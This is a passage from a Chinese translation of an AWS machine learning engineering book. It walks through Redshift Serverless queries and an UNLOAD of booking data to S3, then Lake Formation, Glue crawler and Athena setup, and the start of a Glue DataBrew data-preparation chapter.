你可以运行 SELECT * FROM sys_load_error_detail;
SQL 语句来排查和调试任何问题。
-
让我们尝试回顾一下客人至少有一次取消记录的已取消预订。换句话说,让我们在新的 SQL 单元格中运行以下 SQL 语句:
SELECT * FROM dev.public.bookings WHERE is_cancelled = 1 AND previous_cancellations > 0;
-
让我们回顾一下客人取消的预订,其中等待名单上的天数超过 50 天:
SELECT * FROM dev.public.bookings WHERE is_cancelled = 1 AND days_in_waiting_list > 50;
-
注意,我们还可以使用类似以下查询来检查数据完整性问题:
SELECT booking_changes, has_booking_changes, *
FROM dev.public.bookings
WHERE
(booking_changes=0 AND has_booking_changes='True')
OR
(booking_changes>0 AND has_booking_changes='False');
使用这个查询,我们应该能够列出booking_changes
列值与has_booking_changes
列值不匹配的记录。
-
类似地,我们可以使用以下查询找到其他存在数据完整性问题的记录:
SELECT total_of_special_requests, has_special_requests, *
FROM dev.public.bookings
WHERE
(total_of_special_requests=0 AND has_special_requests='True')
OR
(total_of_special_requests>0 AND has_special_requests='False');
使用这个查询,我们应该能够列出total_of_special_requests
列值与has_special_requests
列值不匹配的记录。
注意
在使用数据训练 ML 模型之前,应该解决这些类型的数据完整性问题。
-
我们还可以创建一个包含预计算结果集的物化视图,这有助于加快重复查询:
CREATE MATERIALIZED VIEW data_integrity_issues AS
SELECT *
FROM dev.public.bookings
WHERE
(booking_changes=0 AND has_booking_changes='True')
OR
(booking_changes>0 AND has_booking_changes='False')
OR
(total_of_special_requests=0 AND has_special_requests='True')
OR
(total_of_special_requests>0 AND has_special_requests='False');
-
最后,我们可以使用以下查询查询物化视图中的预计算数据:
SELECT booking_changes, has_booking_changes, total_of_special_requests, has_special_requests FROM data_integrity_issues;
这应该会给出total_of_special_requests
列值与has_special_requests
列值不匹配的记录列表,以及booking_changes
列值与has_booking_changes
列值不匹配的记录。
注意
关于这个主题的更多信息,请随时查看docs.aws.amazon.com/redshift/latest/dg/materialized-view-overview.xhtml
。
随意运行其他 SQL 查询以探索存储在bookings
表中的数据。
将数据卸载到 S3
最后,我们将复制并卸载数据库中存储在bookings
表中的数据到 Amazon S3。在这里,我们将配置并使用UNLOAD
命令并行执行此操作,分割数据,并将数据存储在 S3 的几个文件中。
注意
一旦数据已卸载到 Amazon S3,我们可以使用可以直接从 S3 加载数据的服务、工具和库来对此数据进行其他操作。在我们的案例中,我们将在下一节设置 Lake Formation中使用卸载数据文件,并使用AWS Glue和Amazon Athena来处理数据文件。
按照以下步骤将存储在我们的 Redshift Serverless 表中的数据卸载到 S3 桶中:
- 在屏幕右上角打开菜单(
mle-ch4-user@<ACCOUNT ALIAS>
)。通过点击以下截图中的高亮框来复制账户 ID。将复制的账户 ID 值保存到本地机器上的文本编辑器中:
图 4.22 – 复制账户 ID
注意,当复制到本地机器上的文本编辑器时,账户 ID 不应包含破折号。
-
在Redshift 查询编辑器 v2中,点击添加 SQL按钮,然后在新的 SQL 单元格中运行以下 SQL 语句:
UNLOAD ('SELECT * FROM dev.public.bookings;')
TO 's3://<INSERT BUCKET NAME>/unloaded/'
IAM_ROLE 'arn:aws:iam::<ACCOUNT ID>:role/service-role/<ROLE NAME>'
FORMAT AS CSV DELIMITER ','
PARALLEL ON
HEADER;
确保您替换以下值:
-
<INSERT BUCKET NAME>
,其中包含我们在“上传数据集到 S3”部分创建的存储桶名称 -
<ACCOUNT ID>
,替换为 AWS 账户的账户 ID -
<ROLE NAME>
,替换为在“设置 Redshift Serverless 端点”部分复制到您的本地机器文本编辑器中的 IAM 角色名称
由于在运行UNLOAD
命令时指定了PARALLEL ON
,这个UNLOAD
操作将分割存储在bookings
表中的数据,并并行将这些数据存储在多个文件中。
- 通过单击以下截图突出显示的按钮导航到AWS CloudShell:
图 4.23 – 启动 CloudShell
我们可以在 AWS 管理控制台右上角找到这个按钮。您也可以使用搜索栏导航到 CloudShell 控制台。
-
运行以下命令以列出我们 S3 存储桶中
unloaded
文件夹内的文件。确保用我们在“上传数据集到 S3”部分创建的存储桶名称替换<INSERT BUCKET NAME>
:BUCKET_NAME=<INSERT BUCKET NAME>
aws s3 ls s3://$BUCKET_NAME/unloaded/
-
使用
tmp
命令将当前工作目录中的所有文件移动到/tmp
目录:mv * /tmp
-
使用
aws s3 cp
命令下载 S3 存储桶中unloaded
文件夹内文件的副本:aws s3 cp s3://$BUCKET_NAME/unloaded/ . --recursive
-
使用
ls
命令检查已下载文件的文件名:ls
这应该会生成一个文件名列表,类似于以下截图所示:
图 4.24 – 使用 ls 命令后的结果
在这里,我们可以看到在“卸载数据到 S3”部分执行的UNLOAD
操作将bookings
表的副本分割并存储在几个文件中。
-
使用
head
命令检查下载的每个文件的几行:head *
这应该会生成类似以下输出的结果:
图 4.25 – 使用 head 命令后的结果
在这里,我们可以看到每个输出文件都有一个包含每列对应名称的标题。
现在我们已经将 Redshift 的bookings
表中的数据卸载到我们的 S3 存储桶中,我们将继续使用 AWS Lake Formation 设置我们的数据湖!
注意
在 Amazon Redshift 和 Amazon Redshift Serverless 中,我们可以使用更多功能。这包括性能调优技术(以显著加快慢查询的速度),Redshift ML(我们可以使用它通过 SQL 语句训练和使用 ML 模型进行推理),以及Redshift Spectrum(我们可以使用它直接从存储在 S3 存储桶中的文件中查询数据)。这些主题超出了本书的范围,因此请随时查看docs.aws.amazon.com/redshift/index.xhtml
获取更多信息。
设置 Lake Formation
现在,是时候更详细地了解如何在 AWS 上设置我们的无服务器数据湖了!在我们开始之前,让我们定义一下什么是数据湖以及它存储了哪些类型的数据。数据湖是一个集中式数据存储,包含来自不同数据源的各种结构化、半结构化和非结构化数据。如图所示,数据可以存储在数据湖中,我们无需担心其结构和格式。在数据湖中存储数据时,我们可以使用各种文件类型,如 JSON、CSV 和 Apache Parquet。除了这些,数据湖可能还包括原始数据和经过处理(清洁)的数据:
图 4.26 – 开始使用数据湖
机器学习工程师和数据科学家可以使用数据湖作为构建和训练机器学习模型的源数据。由于数据湖中存储的数据可能是原始数据和清洁数据的混合,因此在用于机器学习需求之前,需要进行额外的数据处理、数据清洗和数据转换步骤。
如果您计划在 AWS 中设置和管理数据湖,AWS Lake Formation 是最佳选择!AWS Lake Formation 是一种服务,它使用 AWS 上的各种服务(如 Amazon S3、AWS Glue 和 Amazon Athena)来帮助设置和保障数据湖。由于我们正在利用 AWS Lake Formation 的 无服务器 服务,因此在设置我们的数据湖时无需担心管理任何服务器。
创建数据库
类似于在 Redshift 和其他如 关系数据库服务(RDS)、AWS Lake Formation 数据库中的数据库工作方式,AWS Lake Formation 数据库可以包含一个或多个表。然而,在我们创建表之前,我们需要创建一个新的数据库。
重要提示
在继续之前,请确保您正在使用创建 S3 存储桶和 VPC 资源相同的区域。本章假设我们正在使用 us-west-2
区域。同时,请确保您已以 mle-ch4-user
IAM 用户登录。
按照以下步骤在 AWS Lake Formation 中创建一个新的数据库:
-
通过在 AWS 管理控制台的搜索框中输入
lake formation
并从结果列表中选择 AWS Lake Formation 来导航到 AWS Lake Formation 控制台。 -
在 欢迎使用 Lake Formation 弹出窗口中,确保 添加我自己 复选框是勾选的。点击 开始 按钮。
-
在侧边栏中,找到并点击 数据目录 下的 数据库。
-
点击位于 数据库 页面右上角的 创建数据库 按钮。
-
在 名称 字段中输入
mle-ch4-db
作为值。保持其他设置不变,然后点击 创建数据库 按钮:
图 4.27 – 创建 Lake Formation 数据库
你应该会看到一个成功通知,表明你的数据库已成功创建。你可以忽略前一个屏幕截图显示的 未知错误 消息通知。
注意
未知错误 消息很可能是由于当前用于执行操作的 IAM 用户允许的权限有限。
现在我们已经创建了 Lake Formation 数据库,让我们继续使用 AWS Glue 爬虫创建一个表。
使用 AWS Glue 爬虫创建表
AWS Glue 是一种无服务器 提取-转换-加载 (ETL) 服务,它为数据集成提供了不同的相关组件和能力。在本章中,我们将使用 AWS Glue 的一个组件 – AWS Glue 爬虫:
图 4.28 – AWS Glue 爬虫的工作原理
如前图所示,AWS Glue 爬虫处理存储在目标数据存储中的文件,然后根据处理文件的结构和内容推断出一个模式。此模式用于在 AWS Glue 数据目录 中创建一个表或一组表。然后,这些表可以被如 Amazon Athena 这样的服务在直接查询 S3 中的数据时使用。
在这些考虑因素的基础上,让我们继续创建一个 AWS Glue 爬虫:
-
通过点击侧边栏中的 表 导航到 表 列表页面。
-
接下来,点击页面左上角的 使用爬虫创建表 按钮。这将在一个新标签页中打开 AWS Glue 控制台。
-
点击以下屏幕截图中所突出显示的 爬虫(旧版):
图 4.29 – 导航到爬虫页面
如我们所见,我们可以通过屏幕左侧的侧边栏导航到 爬虫 页面。
-
通过点击 添加爬虫 按钮创建一个新的爬虫。
-
在 爬虫名称 字段中输入
mle-ch4-crawler
。然后,点击 下一步。 -
在 添加爬虫 > 指定爬虫源类型 页面上,将 爬虫源类型 选择为 数据存储。在 重复爬取 S3 数据存储 下,选择 爬取所有文件夹。然后,点击 下一步。
-
在 添加爬虫 > 添加数据存储 页面上,点击文件夹图标以设置 包含路径 字段的 S3 路径位置。这将打开 选择 S3 路径 弹出窗口,如下所示:
图 4.30 – 选择 S3 路径
在本章 准备基本先决条件 部分创建的 S3 存储桶中找到并切换 unloaded
文件夹的复选框。之后点击 选择 按钮。
重要提示
如果您跳过了本章的Redshift Serverless 入门部分,您可以在 S3 存储桶中创建一个空的未加载
文件夹,然后将synthetic.bookings.100000.csv
文件上传到未加载
文件夹。您可以使用 AWS 管理控制台或通过使用 AWS CLI 的 S3 存储桶的input
文件夹手动完成此操作。
-
设置
100
。 -
确保您在添加数据存储页面上设置的配置与我们下面的截图中的配置相似,然后再继续:
图 4.31 – 添加数据存储
一旦您已审查数据存储配置,请点击下一步。
-
在添加爬虫>添加另一个数据存储页面上,选择否选项。之后点击下一步按钮。
-
在
ch4-iam
作为AWSGlueServiceRole-ch4-iam
下的输入字段值。之后,点击下一步。 -
在添加爬虫>为此爬虫创建计划页面上,从频率下的下拉选项列表中选择按需运行。之后点击下一步按钮。
-
在添加爬虫>配置爬虫的输出页面上,从数据库下的下拉选项列表中选择我们已创建的数据库(例如,mle-ch4-db)。之后点击下一步按钮。
-
点击完成以使用指定的配置参数创建 AWS Glue 爬虫。
-
通过导航到爬虫页面(新界面/ NOT 旧界面),选择爬虫,然后点击运行按钮来运行爬虫:
图 4.32 – 导航到爬虫页面
备注
此步骤可能需要 1 到 3 分钟才能完成。
-
返回到Lake Formation控制台(使用搜索框)。
-
导航到由我们的 AWS Glue 爬虫生成的
未加载
表:
图 4.33 – 刷新表列表页面
在点击刷新按钮后,您应该在表的列表中看到未加载
表。
- 点击未加载链接以导航到表详情页面:
图 4.34 – 表详情和未加载表的模式
如前截图所示,我们应该看到表详情和模式信息。
- 打开操作下拉菜单,从选项列表中选择查看数据。这应该会打开预览数据弹出窗口,通知我们将被带到 Athena 控制台。点击确定按钮继续。
这不是很容易吗? 注意,我们只是刚刚触及了我们可以用AWS Glue做到的事情的表面。更多信息,请查看docs.aws.amazon.com/glue/latest/dg/what-is-glue.xhtml
。
使用 Amazon Athena 查询 Amazon S3 中的数据
Amazon Athena是一种无服务器查询服务,允许我们使用 SQL 语句查询存储在 S3 中的文件数据。使用 Amazon Athena,我们无需担心基础设施管理,并且它可以自动扩展以处理我们的查询:
图 4.35 – Amazon Athena 的工作原理
如果您要自行设置,您可能需要设置一个带有Presto等应用程序的 EC2 实例集群。此外,您还需要自行管理此 EC2 集群设置的整体成本、安全性、性能和稳定性。
设置查询结果位置
如果在您运行第一个查询之前,您需要在 Amazon S3 中设置查询结果位置的通知出现在编辑页面,这意味着您必须在 Amazon Athena 的设置页面进行快速配置更改,以便 Athena 每次查询时都能在指定的 S3 存储桶位置存储查询结果。然后,这些查询结果将在 Athena 控制台的 UI 中显示。
按照以下步骤设置查询结果位置,以便我们的 Amazon Athena 查询将存储在此处:
- 如果您看到在您运行第一个查询之前,您需要在 Amazon S3 中设置查询结果位置的通知,请点击查看设置以导航到设置页面。否则,您也可以点击设置标签页,如下截图所示:
f
图 4.36 – 导航到设置标签页
- 点击查询结果和加密设置面板右上角的管理。
图 4.37 – 管理查询结果和加密设置
-
在管理设置中的查询结果位置和加密下,点击浏览 S3并定位到本章中创建的 S3 存储桶。打开单选按钮并点击选择按钮。
-
点击保存按钮。
现在我们已经完成了 Amazon Athena 查询结果位置的配置,我们可以开始运行我们的查询。
使用 Athena 运行 SQL 查询
一切准备就绪后,我们可以开始使用 SQL 语句查询存储在 S3 中的数据。在本节中,我们将检查我们的数据并运行一些查询,以检查是否存在数据完整性问题。
按照以下步骤查询 S3 存储桶中的数据:
-
通过点击编辑标签,返回到编辑页面。
-
在编辑标签页中,运行以下查询:
SELECT * FROM "AwsDataCatalog"."mle-ch4-db"."unloaded" limit 10;
确保您点击运行按钮,如下截图所示:
图 4.38 – 运行 SQL 查询
此查询应返回一组类似于以下屏幕截图中的结果。请注意,Amazon Athena 每次运行相同的查询时可能会返回不同的结果集。您可以在查询中添加ORDER BY
子句,以确保使用相同查询返回的结果的一致性:
图 4.39 – Athena 查询结果
在这里,我们可以看到我们的查询处理时间不到半秒。如果我们不使用LIMIT
子句运行相同的查询,运行时间可能会超过一秒。
注意
性能调优不属于本书的讨论范围,但您可以自由地查看aws.amazon.com/blogs/big-data/top-10-performance-tuning-tips-for-amazon-athena/
以获取更多关于此主题的信息。
-
运行以下查询以计算未取消预订的数量:
SELECT COUNT(*) FROM "AwsDataCatalog"."mle-ch4-db"."unloaded" WHERE is_cancelled=0;
这应该给出66987
的结果,这应该与我们之前在使用 Amazon Redshift Serverless 进行大规模分析部分执行类似 Redshift Serverless 查询时得到的结果相同。
-
接下来,让我们列出至少有一次取消记录的客人取消的预订:
SELECT *
FROM "AwsDataCatalog"."mle-ch4-db"."unloaded"
WHERE is_cancelled=1 AND previous_cancellations > 0
LIMIT 100;
-
让我们再回顾一下由于等待名单上的天数超过 50 天而被客人取消的预订:
SELECT *
FROM "AwsDataCatalog"."mle-ch4-db"."unloaded"
WHERE is_cancelled=1 AND days_in_waiting_list > 50
LIMIT 100;
-
注意,我们还可以使用类似以下查询来检查数据完整性问题:
SELECT booking_changes, has_booking_changes, *
FROM "AwsDataCatalog"."mle-ch4-db"."unloaded"
WHERE
(booking_changes=0 AND has_booking_changes=true)
OR
(booking_changes>0 AND has_booking_changes=false)
LIMIT 100;
使用此查询,我们应该能够列出booking_changes
列值与has_booking_changes
列值不匹配的记录。
-
在类似的情况下,我们可以使用以下查询找到其他存在数据完整性问题的记录:
SELECT total_of_special_requests, has_special_requests, *
FROM "AwsDataCatalog"."mle-ch4-db"."unloaded"
WHERE
(total_of_special_requests=0 AND has_special_requests=true)
OR
(total_of_special_requests>0 AND has_special_requests=false)
LIMIT 100;
使用此查询,我们应该能够列出total_of_special_requests
列值与has_special_requests
列值不匹配的记录。
-
我们还可以创建一个可以被未来查询引用的视图:
CREATE OR REPLACE VIEW data_integrity_issues AS
SELECT *
FROM "AwsDataCatalog"."mle-ch4-db"."unloaded"
WHERE
(booking_changes=0 AND has_booking_changes=true)
OR
(booking_changes>0 AND has_booking_changes=false)
OR
(total_of_special_requests=0 AND has_special_requests=true)
OR
(total_of_special_requests>0 AND has_special_requests=false);
注意,视图不包含任何数据——视图中的查询每次被其他查询引用时都会运行。
-
话虽如此,让我们运行一个示例查询,该查询引用了我们之前步骤中准备的视图:
SELECT booking_changes, has_booking_changes,
total_of_special_requests, has_special_requests
FROM data_integrity_issues
LIMIT 100;
这应该给出一个列表,其中包含total_of_special_requests
列值与has_special_requests
列值不匹配的记录,以及booking_changes
列值与has_booking_changes
列值不匹配的记录。
注意
如果您想知道我们是否可以使用boto3(Python 的 AWS SDK)以编程方式在 S3 中查询我们的数据,那么答案是是的。我们甚至可以直接在 SQL 语句中使用 Amazon Athena 和 Amazon SageMaker 生成部署的 ML 模型的预测。有关此主题的更多信息,请参阅《Machine Learning with Amazon SageMaker Cookbook》一书的第四章,AWS 上的无服务器数据管理。您还可以在此处找到如何使用 Python 和 boto3 运行 Athena 和 Athena ML 查询的快速示例:bit.ly/36AiPpR
。
这不是很容易吗? 在 AWS 上设置无服务器数据湖很容易,只要我们使用正确的工具和服务集。在继续下一章之前,请确保您已审查并删除本章中创建的所有资源。
摘要
在本章中,我们能够更深入地了解几个帮助组织实现无服务器数据管理的 AWS 服务。当使用无服务器服务时,我们不再需要担心基础设施管理,这有助于我们专注于我们需要做的事情。
我们能够利用Amazon Redshift Serverless来准备无服务器数据仓库。我们还能够使用AWS Lake Formation、AWS Glue和Amazon Athena来创建和查询无服务器数据湖中的数据。有了这些无服务器服务,我们能够在几分钟内加载数据并进行查询。
进一步阅读
关于本章所涉及主题的更多信息,请随意查看以下资源:
-
您的 VPC 的安全最佳实践 (
docs.aws.amazon.com/vpc/latest/userguide/vpc-security-best-practices.xhtml
) -
介绍 Amazon Redshift Serverless (
aws.amazon.com/blogs/aws/introducing-amazon-redshift-serverless-run-analytics-at-any-scale-without-having-to-manage-infrastructure/
) -
AWS Lake Formation 中的安全措施 (
docs.aws.amazon.com/lake-formation/latest/dg/security.xhtml
)
第五章:实用数据处理和分析
在使用 机器学习(ML)模型之前,需要先分析、转换和处理数据。在过去,数据科学家和机器学习从业者必须从头开始编写自定义代码,使用各种库、框架和工具(如 pandas 和 PySpark)来执行所需的分析和处理工作。这些专业人士准备的自定义代码通常需要调整,因为数据处理脚本中编程的步骤的不同变体必须在用于模型训练之前在数据上测试。这占据了机器学习从业者的大量时间,而且由于这是一个手动过程,通常也容易出错。
处理和分析数据的一种更实际的方法是在加载数据、清洗、分析和转换来自不同数据源的原生数据时使用无代码或低代码工具。使用这些类型的工具将显著加快处理过程,因为我们不需要从头编写数据处理脚本。在本章中,我们将使用 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler 来加载数据、分析和处理一个示例数据集。在清理、处理和转换数据后,我们将在 AWS CloudShell 环境中下载并检查结果。
话虽如此,我们将涵盖以下主题:
-
开始数据处理和分析
-
准备基本先决条件
-
使用 AWS Glue DataBrew 自动化数据准备和分析
-
使用 Amazon SageMaker Data Wrangler 准备机器学习数据
在本章的动手解决方案中工作期间,您会注意到在使用 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler 时存在一些相似之处,但当然,您也会注意到一些差异。在我们直接使用和比较这些服务之前,让我们首先就数据处理和分析进行简短讨论。
技术要求
在我们开始之前,确保我们准备好了以下内容:
-
一个网络浏览器(最好是 Chrome 或 Firefox)
-
访问书中前四章使用的 AWS 账户
每章使用的 Jupyter 笔记本、源代码和其他文件都存放在这个仓库中:github.com/PacktPublishing/Machine-Learning-Engineering-on-AWS
。
重要提示
确保注销并不使用在第四章,AWS 上的无服务器数据管理中创建的 IAM 用户。在本章中,你应该使用根账户或具有一组权限的新 IAM 用户来创建和管理 AWS Glue DataBrew、Amazon S3、AWS CloudShell 和 Amazon SageMaker 资源。在运行本书中的示例时,建议使用具有有限权限的 IAM 用户而不是根账户。我们将在第九章,安全、治理和合规策略中进一步详细讨论这一点以及其他安全最佳实践。
开始数据处理和分析
在上一章中,我们利用数据仓库和数据湖来存储、管理和查询我们的数据。存储在这些数据源中的数据通常必须经过一系列类似于 图 5.1 中所示的数据处理和转换步骤,才能用作 ML 实验的训练数据集:
图 5.1 – 数据处理和分析
在 图 5.1 中,我们可以看到这些数据处理步骤可能涉及合并不同的数据集,以及使用各种选项和技术进行数据清理、转换、分析和转换。在实践中,数据科学家和 ML 工程师通常花费大量时间清理数据,使其准备好用于 ML 实验的使用。一些专业人士可能习惯于编写和运行定制的 Python 或 R 脚本来执行这项工作。然而,当处理这些类型的要求时,使用无代码或低代码解决方案,如 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler,可能更为实用。一方面,这些解决方案更易于使用,因为我们不需要担心管理基础设施,也不需要从头编写数据处理脚本。我们还将使用易于使用的可视化界面,这将显著加快工作速度。监控和安全管理也更容易,因为这些功能与以下 AWS 服务集成在一起:
-
AWS 身份和访问管理(IAM)- 用于控制和限制对 AWS 服务和资源的访问
-
亚马逊虚拟私有云(VPC)- 用于定义和配置一个逻辑上隔离的网络,该网络决定了资源如何访问以及网络内每个资源如何与其他资源通信。
-
亚马逊云监控(CloudWatch)- 用于监控资源的性能和管理使用的日志
-
AWS CloudTrail – 用于监控和审计账户活动
注意
关于如何使用这些服务来确保和管理 AWS 账户中的资源,更多信息请参阅第九章,安全、治理和合规策略。
重要的是要注意,AWS 中还有其他选项可以帮助我们在处理和分析数据时。这些包括以下内容:
-
Amazon Elastic MapReduce(EMR)和EMR Serverless – 用于使用 Apache Spark、Apache Hive 和 Presto 等多种开源工具进行大规模分布式数据处理工作负载
-
Amazon Kinesis – 用于处理和分析实时流数据
-
Amazon QuickSight – 用于启用高级分析和自助式商业智能
-
AWS 数据管道 – 用于跨各种服务(例如,Amazon S3、Amazon 关系数据库服务和Amazon DynamoDB)处理和移动数据,使用有助于自定义管道资源调度、依赖关系跟踪和错误处理的特性
-
SageMaker 处理 – 在 SageMaker 管理的 AWS 基础设施上运行自定义数据处理和分析脚本(包括偏差指标和特征重要性计算)
注意,这并不是一个详尽的列表,还有更多服务和功能可以用于这些类型的需求。使用这些服务的优势是什么?当处理相对较小的数据集时,在我们的本地机器上执行数据分析和处理可能就足够了。然而,一旦我们需要处理更大的数据集,我们可能需要使用更专业的资源集,这些资源集拥有更多的计算能力,以及允许我们专注于我们需要完成的工作的功能。
备注
我们将在第九章“安全、治理和合规策略”中更详细地讨论偏差检测和特征重要性。
在本章中,我们将重点关注 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler,并展示一些如何在处理和分析数据时使用这些工具的示例。我们将从一个“脏”数据集(包含一些包含无效值的行)开始,并对该数据集执行以下类型的转换、分析和操作:
-
运行一个分析数据集的数据概要作业
-
过滤掉包含无效值的行
-
从现有列创建新列
-
在应用转换后导出结果
一旦包含处理结果的文件已上传到输出位置,我们将通过下载文件并检查是否已应用转换来验证结果。
准备必要的先决条件
在本节中,在继续本章的动手解决方案之前,我们将确保以下先决条件已准备就绪:
-
要分析和处理 Parquet 文件
-
将 Parquet 文件上传到的 S3 存储桶
下载 Parquet 文件
在本章中,我们将使用与之前章节中使用的类似 bookings
数据集。然而,这次源数据存储在一个 Parquet 文件中,并且我们对一些行进行了修改,以便数据集将包含脏数据。因此,让我们将 synthetic.bookings.dirty.parquet
文件下载到我们的本地机器上。
注意
注意,使用 Parquet 格式存储数据比使用 CSV 格式存储数据更可取。一旦您需要处理更大的数据集,生成的 Parquet 和 CSV 文件大小的差异就会变得明显。例如,一个 1 GB 的 CSV 文件最终可能只有 300 MB(甚至更少)作为 Parquet 文件!有关此主题的更多信息,请随时查看以下链接:parquet.apache.org/docs/
.
在继续操作之前,请确保将 synthetic.bookings.dirty.parquet
文件下载到您的本地机器上。
准备 S3 存储桶
您可以为本章的动手解决方案创建一个新的 S3 存储桶,或者您可以使用之前章节中创建的现有存储桶。这个 S3 存储桶将用于存储 synthetic.bookings.dirty.parquet
源文件以及使用 AWS Glue DataBrew 和 Amazon SageMaker Data Wrangler 运行数据处理和转换步骤后的输出目标结果。
一旦准备就绪,我们就可以使用 AWS Glue DataBrew 来分析和处理我们的数据集。
使用 AWS Glue DataBrew 自动化数据准备和分析
AWS Glue DataBrew 是一个无代码的数据准备服务,旨在帮助数据科学家和 ML 工程师清理、准备和转换数据。类似于我们在 第四章 中使用的服务,AWS 上的无服务器数据管理,Glue DataBrew 也是无服务器的。这意味着当使用此服务进行数据准备、转换和分析时,我们不需要担心基础设施管理。
图 5.2 – AWS Glue DataBrew 的核心概念
在 图 5.2 中,我们可以看到在使用 AWS Glue DataBrew 时涉及不同的概念和资源。在使用此服务之前,我们需要对这些有一个很好的了解。以下是概念和术语的快速概述:
-
数据集 – 存储在现有数据源(例如,Amazon S3、Amazon Redshift 或 Amazon RDS)中的数据,或者从本地机器上传到 S3 存储桶。
-
配方 – 在数据集上执行的数据转换或数据准备步骤的集合。
-
作业 – 运行某些指令以分析或转换数据集的过程。用于评估数据集的作业称为分析作业。另一方面,用于运行一组指令以清理、归一化和转换数据的作业称为食谱作业。我们可以使用一个称为数据血缘的视图来跟踪数据集所经历的转换步骤,以及作业中配置的源和目标。
-
数据概要 – 在数据集上运行分析作业后生成的报告。
-
项目 – 数据、转换步骤和作业的受管理集合。
现在我们已经对概念和术语有了很好的了解,让我们继续创建一个新的数据集。
创建新的数据集
在本章的准备基本先决条件部分,我们下载了一个 Parquet 文件到本地机器。在接下来的步骤中,我们将通过从本地机器上传这个 Parquet 文件到现有的 Amazon S3 存储桶来创建一个新的数据集:
- 使用AWS 管理控制台的搜索栏导航到AWS Glue DataBrew控制台。
重要提示
本章假设我们在使用服务来管理和创建不同类型的资源时使用的是us-west-2
区域。您可以使用不同的区域,但请确保如果某些资源需要转移到所选区域,则进行任何必要的调整。
- 通过点击如图 5.3 所示的侧边栏图标,转到DATASETS页面:
图 5.3 – 导航到 DATASETS 页面
-
点击连接到新数据集。
-
点击文件上传,如图 5.4 所示:
图 5.4 – 定位文件上传选项
注意,有不同方式来加载数据并连接到您的数据集。我们可以使用AWS Glue 数据目录连接并加载数据存储在 Amazon Redshift、Amazon RDS 和 AWS Glue 中。
注意
欢迎查看docs.aws.amazon.com/databrew/latest/dg/supported-data-connection-sources.xhtml
获取更多信息。
-
将数据集名称字段的值指定为
bookings
(在新数据集详细信息下)。 -
在您的本地机器上的
synthetic.bookings.dirty.parquet
文件下。 -
接下来,在输入 S3 目标下找到并点击浏览 S3按钮。选择在准备基本先决条件部分第四章中创建的 S3 存储桶,AWS 上的无服务器数据管理。
注意
注意,您本地机器上的synthetic.bookings.dirty.parquet
文件将被上传到本步骤中选择的 S3 存储桶。当您在本章的动手练习中工作时,您可以创建并使用不同的 S3 存储桶。请随意使用 AWS 管理控制台或通过 AWS CloudShell 使用 AWS CLI 创建一个新的 S3 存储桶。
-
在附加配置下,确保所选文件类型字段设置为PARQUET。
-
点击页面右下角的创建数据集按钮。
-
到目前为止,
bookings
数据集已创建,并应如图 5.5 所示出现在数据集列表中:
图 5.5 – 导航到数据集预览页面
因此,让我们点击如图 5.5 所示的高亮显示的bookings
数据集名称。这将带您转到如图 5.6 所示的数据集预览页面:
图 5.6 – 数据集预览
请随意通过点击数据集预览面板右上角的相应按钮来检查模式、文本和树视图。
现在我们已成功上传 Parquet 文件并创建了一个新的数据集,让我们继续创建并运行一个概要作业来分析数据。
创建和运行概要作业
在执行任何数据清洗和数据转换步骤之前,先分析数据并查看数据集中每一列的属性和统计信息是一个好主意。我们不必手动进行此操作,可以使用 AWS Glue DataBrew 的能力为我们自动生成不同的分析报告。我们可以通过运行概要作业自动生成这些报告。
在接下来的步骤中,我们将创建并运行一个概要作业来生成我们上传的数据集的数据概览:
-
首先,点击数据概览概述选项卡以导航到数据概览概述页面。
-
接下来,点击运行数据概览按钮。这将带您转到创建作业页面。
-
在创建作业页面,向下滚动并定位到作业输出设置部分,然后点击浏览按钮以设置S3 位置字段值。
-
在早期步骤中已上传到
synthetic.bookings.dirty.parquet
文件。 -
在
mle
下作为新 IAM 角色后缀的值。 -
点击创建并运行作业按钮。
注意
此步骤可能需要 3 到 5 分钟才能完成。请随意拿一杯咖啡或茶!请注意,在等待结果出现时,您可能会看到一条1 个作业正在进行的加载信息。
- 一旦概要作业完成,向下滚动,查看结果:
图 5.7 – 数据概览
您应该会看到一组类似于图 5.7 中所示的结果。请随意检查概要作业生成的以下报告:
-
摘要 – 显示总行数、总列数、缺失单元格和重复行数
-
相关性 – 显示相关性矩阵(显示每个变量之间的关系)
-
比较值分布 – 显示跨列的分布比较视图
-
列摘要 – 显示每列的摘要统计信息
可选地,您可以导航到列统计选项卡并查看该选项卡中的报告。
如您所见,我们只需点击几下就能生成一个可用于分析数据集的数据概要。在继续本章下一部分之前,请随意查看由概要作业生成的不同报告和统计数据。
创建项目和配置配方
是时候创建并使用 AWS Glue DataBrew 项目了。创建项目涉及处理数据集和配方以执行所需的数据处理和转换工作。由于我们还没有配方,因此在创建和配置项目的同时将创建一个新的配方。在本节中,我们将配置一个执行以下操作的配方:
-
过滤掉包含无效
children
列值的行 -
基于现有列(
booking_changes
)的值创建一个新的列(has_booking_changes
)
在接下来的步骤中,我们将创建一个项目并使用交互式用户界面配置一个用于清理和转换数据的配方:
-
在页面右上角,找到并点击使用此数据集创建项目按钮。这应该会重定向到创建项目页面。
-
在
bookings-project
作为项目名称字段的值。 -
滚动并找到权限下的角色名称下拉字段。选择在早期步骤中创建的现有 IAM 角色。
-
之后点击创建项目按钮:
图 5.8 – 等待项目准备就绪
点击创建项目按钮后,您应该会被重定向到一个类似于图 5.8中所示的页面。创建项目后,我们应该能够使用一个高度交互的工作空间,在那里我们可以测试和应用各种数据转换。
注意
此步骤可能需要 2 到 3 分钟才能完成
- 一旦项目会话准备就绪,我们将快速检查数据以查找任何错误条目并发现数据中的问题(以便我们可以过滤掉这些条目)。在显示数据网格视图的左侧面板中,找到并滚动(向左或向右)到类似于图 5.9中所示的两个children列:
图 5.9 – 过滤掉包含无效单元格值的行
我们应该在adults
和babies
之间的children
列之间看到children
列,并且在该列下有值为-1
的单元格。一旦你查看了children
列下的不同值,点击如图 5.9 所示的高亮过滤按钮。
备注
注意,我们在本章使用的 Parquet 文件中故意在children
列下添加了一定数量的-1
值。鉴于children
列的值不可能小于0
,我们将在下一步中过滤掉这些行。
-
点击过滤按钮后,应该会出现一个下拉菜单。在条件下的选项列表中定位并选择大于等于。这应该更新页面右侧的面板,并显示过滤值操作的配置选项列表。
-
在具有占位文本输入一个过滤值的0字段下的选项列表中,从
children
列中选择。 -
点击预览更改。这应该更新左侧面板,并提供数据集的网格视图:
图 5.10 – 预览结果
我们应该看到在children
列下值为-1
的行已被过滤掉,类似于图 5.10中所示。
-
